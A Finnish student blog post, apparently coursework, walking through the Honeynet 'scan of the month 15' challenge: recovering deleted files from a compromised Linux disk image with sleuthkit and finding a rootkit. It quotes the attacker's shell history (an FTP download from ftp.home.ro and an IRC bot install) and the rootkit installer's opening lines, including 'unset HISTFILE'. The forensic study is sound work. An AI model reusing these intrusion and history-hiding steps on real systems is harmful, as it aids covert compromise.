“You have downloaded the / partition of a compromised 6.2 Linux box. Your mission is to recover the deleted rootkit from the / partition.” – scan of the month 15
Tehtävänä on siis tarkastella murtaudutun Linuxin levykuvaa ja havaita rootkit.
Levykuvan kanssa työskentely
Latasin haasteen aikaisemmissakin harjoituksissa käyttämääni ympäristöön ja purin pakatut tiedostot.
cd
mkdir scan15
cd scan15
wget http://old.honeynet.org/scans/scan15/honeynet.tar.gz
tar -xf honeynet.tar.gz
Paketista kuoriutui honeynet kansio jonka sisältä löytyivät tiedostot honeypot.hda8.dd ja README. Luin käskystä ja törmäsin lähes samaan informaatioon kuin scan of the monthin nettisivuilla. Jatkoin .dd tiedoston pariin Tero Karvisen oppaan avulla.
mkdir allocated deleted
tsk_recover -a honeynet.hda8.dd allocated/
Tässä kohtaa sain ilmoituksen puuttuvasta ohjelmasta tsk_recover. Lisäksi järjestelmä ilmoitti vinkkinä tsk_recoverin löytyvän sleuthkit paketista, joten asensin sen.
sudo apt-get update
sudo apt-get install sleuthkit
Tämän jälkeen ajoin uudestaan epäonnistuneen komennon.
tsk_recover -a honeynet.hda8.dd allocated/
-> sain ilmoituksen: Files Recovered: 1614
tsk_recover honeynet.hda8.dd deleted/
-> sain ilmoituksen: Files Recovered: 37
Siirryin tarkastelemaan tiedostoja. En havainnut juuri mitään erikoista. Käytin aikaa seikkailuun ja tutkimiseen, mutta en oikein saanut mistään otetta ja pää oli varsin tyhjä ideoista. Yritin etsiä tiedostoja joita on muokattu 14,15 tai 16.3.2001.
find /home/tuukka/scan15/honeynet/allocated/ -newermt “2001-03-14”
find /home/tuukka/scan15/honeynet/allocated/ -newermt “2001-03-15”
find /home/tuukka/scan15/honeynet/allocated/ -newermt “2001-03-16”
Kaikki komennot tuottivat saman oloisen listan ja putkitin komennot: wc -l ja sain jokaisesta vastaukseksi 1684. Eli tiedostoja oli jokaisella hakutuloksella saman verran.
Päätin kokeilla aikajanan tekoa kaikista tiedostoista.
tsk_gettimes honeypot.hda8.dd >rawtimes
mactime -b rawtimes|less
Sain oikein upean puumallisen tulosteen. Kävi ilmi, että 15.3.2001 oli tosiaan muokattu vähän sitä sun tätä. Merkintöjä oli todella paljon. Olin aivan umpikujassa enkä keksinyt miten jatkaa. Päädyin hieman vilkaisemaan Janne Kuuselan blogia. Katsoin alun hänen tehtävän ratkaisustaan, jossa hän oli mountannut levykuvan ja sen jälkeen mainittiin jotain rootista. Suljin blogin nopeasti, kun tajusin etten ollut suorittanut mounttausta ollenkaan.
mkdir sda1
sudo mount -o “loop,nodev,noexec,ro” honeypot.hda8.dd sda1/
cd sda1
Kansio näytti varsin mielenkiintoiselta ja heti ensimmäisenä päätin kokeilla root kansioon siirtymistä.
cd root/
-> bash: cd: root/: Permission denied
sudo cd root/
-> sudo: cd: command not found
Googletin ongelmaa hetken ja sain ohjeeksi ajaa komennon sudo su.
sudo su
cd root
Pääsin kansioon sisään. ls listaus näytti tyhjää sisältöä. ls -a paljasti joukon piilotiedostoja joita rupesin tutkimaan. Suoritin komennon ls -al ja paljastui, että .bash_history tiedostoa on viimeksi muokattu 16.3.2001. Varsin epäilyttävää.
exec tcsh ls mkdir /var/... ls cd /var/... ftp ftp.home.ro tar -zxvf emech-2.8.tar.gz cd emech-2.8 ./configure y make make make install mv sample.set mech.set pico mech.set ./mech cd /etc pico ftpaccess ls exit
emech-2.8 lähdekoodi on selvästikkin ladattu ja ohjelma on asennettu. Muuta en osannut päätellä. Tähän mennessä olin jo aivan sekaisin ja poukkoulin edestakaisin selaten ja etsien kaikkea. En keksinyt mitään järkevää. Päädyin katsomaan ratkaisun Janne Kuuselan blogista.
Ratkaisu
Heti ratkaisun nähtyäni rupesi armottomasti harmittamaan! Olin useaan otteeseen katsonut poistetut tiedostot läpi, mutta jostain ihmeen syystä en ollut kiinnittänyt huomiota oleellisimpaan lk.tgz tiedostoon.
On päivänselvää järjestelmässä olleen rootkit.
Puretun tiedoston sisältä löytyneessä install tiedoston ensimmäiset rivit:
#!/bin/sh clear unset HISTFILE echo “********* Instalarea Rootkitului A Pornit La Drum *********” echo “********* Mircea SUGI PULA ********************************” echo “********* Multumiri La Toti Care M-Au Ajutat **************” echo “********* Lemme Give You A Tip : **************************” echo “********* Ignore everything, call your freedom ************” echo “********* Scream & swear as much as you can ***************” echo “********* Cuz anyway nobody will hear you and no one will *” echo “********* Care about you **********************************” echo echo chown root.root *
Tutkiskelin vielä tiedostoja joita Janne Kuusela ei ollut blogissaan huomioinut. Löysin ssh aiheisia tiedostoja: ssh_config, sshd_config, ssh_host_key, ssh_host_key.pub, ssh_random_speed. Erityisesti kiinnitin huomiota ssh_host_key.pub tiedostoon, joka viittaisi rootkitin asentajan vaihtaneen ssh avainparin. Tämän jälkeen hänellä on ollut ssh yhteys koneeseen.
Lähteet
http://jtkuusela.wordpress.com/2013/09/18/linux-palvelimena-ict4tn003-9-ja-10-syksylla-2013-kotitehtava-h3-ratkaise-scan-of-the-month-15-kasittele-haitallisia-ohjelmia-turvallisesti/
http://terokarvinen.com/2013/forensic-file-recovery-with-linux
Karvinen, Tero: Oppitunnit 2013-02-03, Linux palvelimena -kurssi
[…] Linux palvelimena #3 – scan of the month 15 […]
[…] Linux palvelimena #3 – scan of the month 15 […]
[…] käytin kuitenkin myös http://tuukkamerilainen.com/linux-palvelimena-3-scan-of-the-month-15/ sekä […]
[…] Tuukka Meriläinen, Scan of the month 15: http://tuukkamerilainen.com/linux-palvelimena-3-scan-of-the-month-15/ […]
[…] oli parempi katsoa ohjetta. Löysin Tuukka Meriläisen blogista selkeästi tehdyn selostuksen: http://tuukkamerilainen.com/linux-palvelimena-3-scan-of-the-month-15/. Katsoin myös mikkott:n […]